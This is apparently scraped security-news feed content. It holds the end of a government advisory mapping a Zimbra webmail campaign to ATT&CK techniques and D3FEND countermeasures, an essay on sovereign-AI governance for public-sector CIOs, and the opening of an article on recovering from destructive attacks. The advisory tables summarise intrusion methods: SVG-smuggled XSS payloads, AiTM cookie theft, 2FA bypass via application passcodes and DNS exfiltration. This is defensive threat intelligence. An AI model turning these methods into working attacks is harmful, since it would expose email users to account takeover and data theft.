<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
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<p>Isolate </p>
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<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
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<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
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<p>Credential Hardening </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
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<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
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<p>Network Traffic Analysis </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
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<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
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<p>DNS Traffic Analysis </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
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<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
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<p>Network Traffic Community Deviation </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
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<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
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<p>Identifier Activity Analysis </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
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<p>Organizations should search for the listed known IOCs. </p>
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<p>Process Analysis </p>
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<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
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<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
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<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



